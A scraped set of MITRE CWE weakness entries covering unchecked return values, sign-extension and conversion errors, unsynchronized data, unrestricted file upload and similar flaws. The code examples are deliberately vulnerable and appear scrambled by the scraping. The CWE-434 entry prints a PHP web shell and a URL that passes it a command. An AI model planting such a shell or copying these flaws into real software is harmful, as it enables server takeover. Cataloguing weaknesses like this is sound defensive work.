Languages Class: Not Language-Specific (Undetermined Prevalence) Example 1 The following code excerpt ignores a rarely-thrown exception from doExchange(). (bad code)
Example Language: Java
try {
doExchange(); }catch (RareException e) { // this can never happen If a RareException were to ever be thrown, the program would continue to execute as though nothing unusual had occurred. The program records no evidence indicating the special situation, potentially frustrating any later attempt to explain the program's behavior.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Other When a programmer ignores an exception, they implicitly state that they are operating under one of two assumptions:
Maintenance
This entry is slated for deprecation; it has multiple widespread interpretations by CWE analysts. It currently combines information from three different taxonomies, but each taxonomy is talking about a slightly different issue. CWE analysts might map to this entry based on any of these issues. 7PK has "Empty Catch Block" which has an association with empty exception block (CWE-1069); in this case, the exception has performed the check, but does not handle. In PLOVER there is "Unchecked Return Value" which is CWE-252, but unlike "Empty Catch Block" there isn't even a check of the issue - and "Unchecked Error Condition" implies lack of a check. For CLASP, "Uncaught Exception" (CWE-248) is associated with incorrect error propagation - uncovered in CWE 3.2 and earlier, at least. There are other issues related to error handling and checks.
CWE-606: Unchecked Input for Loop Condition
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product does not properly check inputs that are used for loop conditions, potentially leading to a denial of service or other consequences because of excessive looping.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
Example 1 The following example demonstrates the weakness. (bad code)
Example Language: C
void iterate(int n){
int i; }for (i = 0; i < n; i++){ foo(); }void iterateFoo() { unsigned int num; }scanf("%u",&num); iterate(num); Example 2 In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing. (bad code)
Example Language: C
int processMessageFromSocket(int socket) {
int success;
char buffer[BUFFER_SIZE]; char message[MESSAGE_SIZE]; // get message from socket and store into buffer //Ignoring possibliity that buffer > BUFFER_SIZE if (getMessage(socket, buffer, BUFFER_SIZE) > 0) { // place contents of the buffer into message structure ExMessage *msg = recastBuffer(buffer); // copy message body into string for processing int index; for (index = 0; index < msg->msgLength; index++) { message[index] = msg->msgBody[index]; }message[index] = '\0'; // process message success = processMessage(message); return success; However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of the message body (CWE-606). This can result in a buffer over-read (CWE-125) by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-252: Unchecked Return Value
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product does not check the return value from a method or function, which can prevent it from detecting unexpected states and conditions.
Two common programmer assumptions are "this function call can never fail" and "it doesn't matter if this function call fails". If an attacker can force the function to fail or otherwise return a value that is not expected, then the subsequent program logic could lead to a vulnerability, because the product is not in a state that the programmer assumes. For example, if the program calls a function to drop privileges but does not check the return code to ensure that privileges were successfully dropped, then the program will continue to operate with the higher privileges.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Example 1 Consider the following code segment: (bad code)
Example Language: C
char buf[10], cp_buf[10];
fgets(buf, 10, stdin); strcpy(cp_buf, buf); The programmer expects that when fgets() returns, buf will contain a null-terminated string of length 9 or less. But if an I/O error occurs, fgets() will not null-terminate buf. Furthermore, if the end of the file is reached before any characters are read, fgets() returns without writing anything to buf. In both of these situations, fgets() signals that something unusual has happened by returning NULL, but in this code, the warning will not be noticed. The lack of a null terminator in buf can result in a buffer overflow in the subsequent call to strcpy(). Example 2 In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed: (bad code)
Example Language: C
int returnChunkSize(void *) {
/* if chunk info is valid, return the size of usable memory, * else, return -1 to indicate an error */ ... int main() { ... }memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1)); ... If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788). Example 3 The following code does not check to see if memory allocation succeeded before attempting to use the pointer returned by malloc(). (bad code)
Example Language: C
buf = (char*) malloc(req_size);
strncpy(buf, xfer, req_size); The traditional defense of this coding error is: "If my program runs out of memory, it will fail. It doesn't matter whether I handle the error or allow the program to die with a segmentation fault when it tries to dereference the null pointer." This argument ignores three important considerations:
Example 4 The following examples read a file into a byte array. (bad code)
Example Language: C#
char[] byteArray = new char[1024];
for (IEnumerator i=users.GetEnumerator(); i.MoveNext() ;i.Current()) { String userName = (String) i.Current(); }String pFileName = PFILE_ROOT + "/" + userName; StreamReader sr = new StreamReader(pFileName); sr.Read(byteArray,0,1024);//the file is always 1k bytes sr.Close(); processPFile(userName, byteArray); (bad code)
Example Language: Java
FileInputStream fis;
byte[] byteArray = new byte[1024]; for (Iterator i=users.iterator(); i.hasNext();) { String userName = (String) i.next();
String pFileName = PFILE_ROOT + "/" + userName; FileInputStream fis = new FileInputStream(pFileName); fis.read(byteArray); // the file is always 1k bytes fis.close(); processPFile(userName, byteArray); The code loops through a set of users, reading a private data file for each user. The programmer assumes that the files are always 1 kilobyte in size and therefore ignores the return value from Read(). If an attacker can create a smaller file, the program will recycle the remainder of the data from the previous user and treat it as though it belongs to the attacker. Example 5 The following code does not check to see if the string returned by getParameter() is null before calling the member function compareTo(), potentially causing a NULL dereference. (bad code)
Example Language: Java
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM) == 0) { ... }... The following code does not check to see if the string returned by the Item property is null before calling the member function Equals(), potentially causing a NULL dereference. (bad code)
Example Language: Java
String itemName = request.Item(ITEM_NAME);
if (itemName.Equals(IMPORTANT_ITEM)) { ... }... The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved. Example 6 The following code shows a system property that is set to null and later dereferenced by a programmer who mistakenly assumes it will always be defined. (bad code)
Example Language: Java
System.clearProperty("os.name");
... String os = System.getProperty("os.name"); if (os.equalsIgnoreCase("Windows 95")) System.out.println("Not supported"); The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved. Example 7 The following VB.NET code does not check to make sure that it has read 50 bytes from myfile.txt. This can cause DoDangerousOperation() to operate on an unexpected value. (bad code)
Example Language: C#
Dim MyFile As New FileStream("myfile.txt", FileMode.Open, FileAccess.Read, FileShare.Read)
Dim MyArray(50) As Byte MyFile.Read(MyArray, 0, 50) DoDangerousOperation(MyArray(20)) In .NET, it is not uncommon for programmers to misunderstand Read() and related methods that are part of many System.IO classes. The stream and reader classes do not consider it to be unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested. Example 8 It is not uncommon for Java programmers to misunderstand read() and related methods that are part of many java.io classes. Most errors and unusual events in Java result in an exception being thrown. But the stream and reader classes do not consider it unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested. This behavior makes it important for programmers to examine the return value from read() and other IO methods to ensure that they receive the amount of data they expect. Example 9 This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer. (bad code)
Example Language: C
void host_lookup(char *user_supplied_addr){
struct hostent *hp;
in_addr_t *addr; char hostname[64]; in_addr_t inet_addr(const char *cp); /*routine that ensures user_supplied_addr is in the right format for conversion */ validate_addr_form(user_supplied_addr); addr = inet_addr(user_supplied_addr); hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET); strcpy(hostname, hp->h_name); If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. Since the code does not check the return value from gethostbyaddr (CWE-252), a NULL pointer dereference (CWE-476) would then occur in the call to strcpy(). Note that this code is also vulnerable to a buffer overflow (CWE-119). Example 10 The following function attempts to acquire a lock in order to perform operations on a shared resource. (bad code)
Example Language: C
void f(pthread_mutex_t *mutex) {
pthread_mutex_lock(mutex);
/* access shared resource */ pthread_mutex_unlock(mutex); However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior. In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels. (good code)
Example Language: C
int f(pthread_mutex_t *mutex) {
int result;
result = pthread_mutex_lock(mutex); if (0 != result) return result;
/* access shared resource */ return pthread_mutex_unlock(mutex);
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1075: Unconditional Control Flow Transfer outside of Switch Block
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product performs unconditional control transfer (such as a
"goto") in code outside of a branching structure such as a switch
block.
This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-194: Unexpected Sign Extension
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product performs an operation on a number that causes it to be sign extended when it is transformed into a larger data type. When the original number is negative, this can produce unexpected values that lead to resultant weaknesses.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Undetermined Prevalence) C++ (Undetermined Prevalence) Example 1 The following code reads a maximum size and performs a sanity check on that size. It then performs a strncpy, assuming it will not exceed the boundaries of the array. While the use of "short s" is forced in this particular example, short int's are frequently used within real-world code, such as code that processes structured data. (bad code)
Example Language: C
int GetUntrustedInt () {
return(0x0000FFFF); }void main (int argc, char **argv) { char path[256];
char *input; int i; short s; unsigned int sz; i = GetUntrustedInt(); s = i; /* s is -1 so it passes the safety check - CWE-697 */ if (s > 256) { DiePainfully("go away!\n"); }/* s is sign-extended and saved in sz */ sz = s; /* output: i=65535, s=-1, sz=4294967295 - your mileage may vary */ printf("i=%d, s=%d, sz=%u\n", i, s, sz); input = GetUserInput("Enter pathname:"); /* strncpy interprets s as unsigned int, so it's treated as MAX_INT (CWE-195), enabling buffer overflow (CWE-119) */ strncpy(path, input, s); path[255] = '\0'; /* don't want CWE-170 */ printf("Path is: %s\n", path); This code first exhibits an example of CWE-839, allowing "s" to be a negative number. When the negative short "s" is converted to an unsigned integer, it becomes an extremely large positive integer. When this converted integer is used by strncpy() it will lead to a buffer overflow (CWE-119).
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship
Sign extension errors can lead to buffer overflows and other memory-based problems. They are also likely to be factors in other weaknesses that are not based on memory operations, but rely on numeric calculation.
Maintenance
This entry is closely associated with signed-to-unsigned conversion errors (CWE-195) and other numeric errors. These relationships need to be more closely examined within CWE.
CWE-394: Unexpected Status Code or Return Value
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product does not properly check when a function or operation returns a value that is legitimate for the function, but is not expected by the product.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship
Usually primary, but can be resultant from issues such as behavioral change or API abuse. This can produce resultant vulnerabilities.
CWE-434: Unrestricted Upload of File with Dangerous Type
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom Filter
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "Architectural Concepts" (CWE-1008)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages ASP.NET (Sometimes Prevalent) PHP (Often Prevalent) Class: Not Language-Specific (Undetermined Prevalence) Technologies Web Server (Sometimes Prevalent) Example 1 The following code intends to allow a user to upload a picture to the web server. The HTML code that drives the form on the user end has an input field of type "file". (good code)
Example Language: HTML
<form action="upload_picture.php" method="post" enctype="multipart/form-data">
Choose a file to upload: <input type="file" name="filename"/> <br/> <input type="submit" name="submit" value="Submit"/> </form> Once submitted, the form above sends the file to upload_picture.php on the web server. PHP stores the file in a temporary location until it is retrieved (or discarded) by the server side code. In this example, the file is moved to a more permanent pictures/ directory. (bad code)
Example Language: PHP
// Define the target location where the picture being // uploaded is going to be saved. $target = "pictures/" . basename($_FILES['uploadedfile']['name']); // Move the uploaded file to the new location. if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target)) { echo "The picture has been successfully uploaded."; }else { echo "There was an error uploading the picture, please try again."; }The problem with the above code is that there is no check regarding type of file being uploaded. Assuming that pictures/ is available in the web document root, an attacker could upload a file with the name: (attack code)
malicious.php
Since this filename ends in ".php" it can be executed by the web server. In the contents of this uploaded file, the attacker could use: (attack code)
Example Language: PHP
<?php
system($_GET['cmd']);
?> Once this file has been installed, the attacker can enter arbitrary commands to execute using a URL such as: (attack code)
http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l
which runs the "ls -l" command - or any other type of command that the attacker wants to specify. Example 2 The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet. (good code)
Example Language: HTML
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
Choose a file to upload: <input type="file" name="filename"/> <br/> <input type="submit" name="submit" value="Submit"/> </form> When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory. (bad code)
Example Language: Java
public class FileUploadServlet extends HttpServlet {
...
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/html");
PrintWriter out = response.getWriter(); String contentType = request.getContentType(); // the starting position of the boundary header int ind = contentType.indexOf("boundary="); String boundary = contentType.substring(ind+9); String pLine = new String(); String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value // verify that content type is multipart form data if (contentType != null && contentType.indexOf("multipart/form-data") != -1) { // extract the filename from the Http header
BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream())); ... pLine = br.readLine(); String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\"")); ... // output the file to the local upload directory try { BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
for (String line; (line=br.readLine())!=null; ) { if (line.indexOf(boundary) == -1) { } //end of for loopbw.write(line); }bw.newLine(); bw.flush(); bw.close(); } catch (IOException ex) {...} // output successful upload response HTML page // output unsuccessful upload response HTML page else {...} ...
This code does not perform a check on the type of the file being uploaded (CWE-434). This could allow an attacker to upload any executable file or other file with malicious code. Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-23). Since the code does not check the filename that is provided in the header, an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship This can have a chaining relationship with incomplete denylist / permissive allowlist errors when the product tries, but fails, to properly limit which types of files are allowed (CWE-183, CWE-184). This can also overlap multiple interpretation errors for intermediaries, e.g. anti-virus products that do not remove or quarantine attachments with certain file extensions that can be processed by client systems.
CWE-196: Unsigned to Signed Conversion Error
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product uses an unsigned primitive and performs a cast to a signed primitive, which can produce an unexpected value if the value of the unsigned primitive can not be represented using a signed primitive.
Although less frequent an issue than signed-to-unsigned conversion, unsigned-to-signed conversion can be the perfect precursor to dangerous buffer underwrite conditions that allow attackers to move down the stack where they otherwise might not have access in a normal buffer overflow condition. Buffer underwrites occur frequently when large unsigned values are cast to signed values, and then used as indexes into a buffer or for pointer arithmetic.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Undetermined Prevalence) C++ (Undetermined Prevalence)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product does not properly synchronize shared data, such as static variables across threads, which can lead to undefined behavior and unpredictable data changes.
Within servlets, shared static variables are not protected from concurrent access, but servlets are multithreaded. This is a typical programming mistake in J2EE applications, since the multithreading is handled by the framework. When a shared variable can be influenced by an attacker, one thread could wind up modifying the variable to contain data that is not valid for a different thread that is also using the data within the variable. Note that this weakness is not unique to servlets. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Java (Undetermined Prevalence) Example 1 The following code implements a basic counter for how many times the page has been accesed. (bad code)
Example Language: Java
public static class Counter extends HttpServlet {
static int count = 0; }protected void doGet(HttpServletRequest in, HttpServletResponse out) throws ServletException, IOException { out.setContentType("text/plain"); }PrintWriter p = out.getWriter(); count++; p.println(count + " hits so far!"); Consider when two separate threads, Thread A and Thread B, concurrently handle two different requests:
At this point, both Thread A and Thread B print that one hit has been seen, even though two separate requests have been processed. The value of count should be 2, not 1. While this example does not have any real serious implications, if the shared variable in question is used for resource tracking, then resource consumption could occur. Other scenarios exist.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-822: Untrusted Pointer Dereference
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product obtains a value from an untrusted source, converts this value to a pointer, and dereferences the resulting pointer.
An attacker can supply a pointer for memory locations that the product is not expecting. If the pointer is dereferenced for a write operation, the attack might allow modification of critical state variables, cause a crash, or execute code. If the dereferencing operation is for a read, then the attack might allow reading of sensitive data, cause a crash, or set a variable to an unexpected value (since the value will be read from an unexpected memory location). There are several variants of this weakness, including but not necessarily limited to:
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
